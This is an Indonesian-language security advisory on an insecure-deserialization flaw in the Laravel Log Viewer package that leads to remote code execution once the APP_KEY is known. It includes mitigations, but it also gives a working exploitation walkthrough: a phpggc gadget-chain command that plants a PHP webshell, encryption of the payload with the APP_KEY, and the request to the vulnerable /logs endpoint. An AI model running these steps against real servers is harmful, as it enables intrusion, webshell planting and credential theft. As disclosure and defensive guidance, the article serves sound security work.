Laravel Log Viewer — Insecure Deserialization via dl/l Parameter Mengarah ke RCE

Paket: rap2hpoutre/laravel-log-viewer Issue: #310 (GitHub) Dilaporkan oleh: brocked200 — 4 Juni 2025 Status: Open / Belum Ditangani Resmi Severity: Critical Prasyarat: APP_KEY diketahui penyerang Autentikasi: Tidak Diperlukan

Latar Belakang

Laravel Log Viewer oleh rap2hpoutre adalah package populer dengan lebih dari 3.200 bintang di GitHub yang memungkinkan developer melihat log Laravel langsung dari browser. Setelah patch CVE-2018-8947 (versi 0.13.0), parameter dl dan l diubah dari Base64 biasa menjadi enkripsi menggunakan \Crypt::decrypt() milik Laravel — yang dianggap aman.

Namun, Issue #310 yang dibuka pada Juni 2025 mengungkap masalah lebih dalam: enkripsi bukan berarti aman jika hasil dekripsinya langsung di-deserialize tanpa validasi.

Akar Masalah: decrypt() = Deserialization Otomatis

Fungsi decrypt() bawaan Laravel secara default memiliki parameter kedua $unserialize = true, yang berarti setiap data yang berhasil didekripsi akan otomatis di-unserialize():

// vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php
public function decrypt($payload, $unserialize = true)
{
    $payload = $this->getJsonPayload($payload);
    $iv = base64_decode($payload['iv']);
    $decrypted = \openssl_decrypt(
        $payload['value'],
        $this->cipher,
        $this->key,
        0,
        $iv
    );
    if ($decrypted === false) {
        throw new DecryptException('Could not decrypt the data.');
    }
    return $unserialize ? unserialize($decrypted) : $decrypted;
}

Kebijakan Laravel adalah tidak melakukan patching terhadap gadget chains. Oleh karena itu, siapapun yang bisa mengirim data ke fungsi decrypt() dan mengetahui APP_KEY aplikasi akan mampu mengeksekusi kode secara remote.

Pada Laravel Log Viewer, parameter dl dan l pada endpoint GET /logs diproses persis seperti ini — dikirim oleh user, didekripsi oleh server, lalu hasilnya di-unserialize secara otomatis tanpa ada validasi tipe objek sama sekali.

Prasyarat Serangan

Fungsi decrypt() Laravel secara otomatis men-deserialize data yang didekripsi, menciptakan vektor eksekusi kode remote yang potensial. Laravel memiliki banyak gadget chain PHP yang terdokumentasi dengan baik yang dapat digabungkan untuk mencapai eksekusi perintah sembarang selama proses unserialize().

Alur Eksploitasi

Langkah 1 — Generate Gadget Chain dengan phpggc

# Contoh: tulis PHP webshell ke direktori public
./phpggc Laravel/RCE19 \
  "echo '<?php system(\$_GET[\"cmd\"])?>' > /var/www/html/public/shell.php" \
  | base64 -w 0

Tool phpggc mengkatalogkan lebih dari 22 gadget chain RCE yang menarget Laravel versi 5.1 hingga 12.

Langkah 2 — Enkripsi Payload dengan APP_KEY

Gunakan laravel-crypto-killer dari Synacktiv:

python3 laravel_crypto_killer.py encrypt \
  -k "base64:<APP_KEY_ANDA>" \
  -v "<OUTPUT_PHPGGC_BASE64>"

Cookie yang dihasilkan adalah payload Laravel yang terenkripsi secara sah dan tidak dapat dibedakan dari cookie legitimate oleh server.

Langkah 3 — Kirim ke Endpoint Rentan

GET /logs?dl=<ENCRYPTED_PAYLOAD> HTTP/1.1
Host: target.com

Server mendekripsi payload → otomatis memanggil unserialize() → gadget chain terpicu → RCE.

Dampak

Eksploitasi yang berhasil memberikan penyerang kemampuan untuk:

• Mengeksekusi perintah shell sembarang sebagai user www-data
• Membaca file sensitif (/etc/passwd, .env, konfigurasi database)
• Menulis webshell ke direktori publik
• Melakukan pivot ke sistem lain di jaringan internal

Kerentanan ini sudah dieksploitasi di dunia nyata oleh aktor ancaman, khususnya yang berada di balik malware AndroxGh0st, yang secara aktif memindai internet untuk menemukan aplikasi Laravel yang mengekspos file .env-nya.

Konteks Lebih Luas: APP_KEY Leak adalah Epidemi

Dalam penelitian bersama oleh GitGuardian dan Synacktiv, lebih dari 260.000 APP_KEY Laravel berhasil diekstrak dari GitHub sejak 2018, dengan lebih dari 600 aplikasi Laravel yang rentan teridentifikasi.

Saat ini, sekitar 120 aplikasi terbukti rentan terhadap eksploitasi RCE secara langsung. Analisis menunjukkan 63% eksposur APP_KEY berasal dari file .env, yang biasanya juga mengandung kredensial database, token cloud storage, dan kunci payment gateway.

Mitigasi

1. Lindungi route dengan middleware auth (WAJIB):

// routes/web.php
Route::group(['middleware' => ['auth', 'admin']], function () {
    Route::get('logs', '\Rap2hpoutre\LaravelLogViewer\LogViewerController@index');
});

2. Gunakan decrypt($value, false) — nonaktifkan deserialisasi:

// AMAN
$path = \Crypt::decrypt($request->input('dl'), false);

// RENTAN
$path = \Crypt::decrypt($request->input('dl')); // default: unserialize=true

3. Nonaktifkan di production jika tidak digunakan — hapus atau comment route log viewer.

4. Putar APP_KEY jika ada indikasi kebocoran:

php artisan key:generate

Setelah memutar APP_KEY, semua session aktif akan invalid. Pastikan sudah berkoordinasi dengan tim sebelum melakukan ini di production.

5. Scan GitHub untuk kebocoran APP_KEY:

git log --all --diff-filter=A -- .env

Referensi

Artikel ini ditulis untuk tujuan pendidikan dan riset keamanan. Eksploitasi tanpa izin adalah ilegal. Selalu lakukan pengujian keamanan hanya pada sistem yang kamu miliki atau memiliki izin tertulis.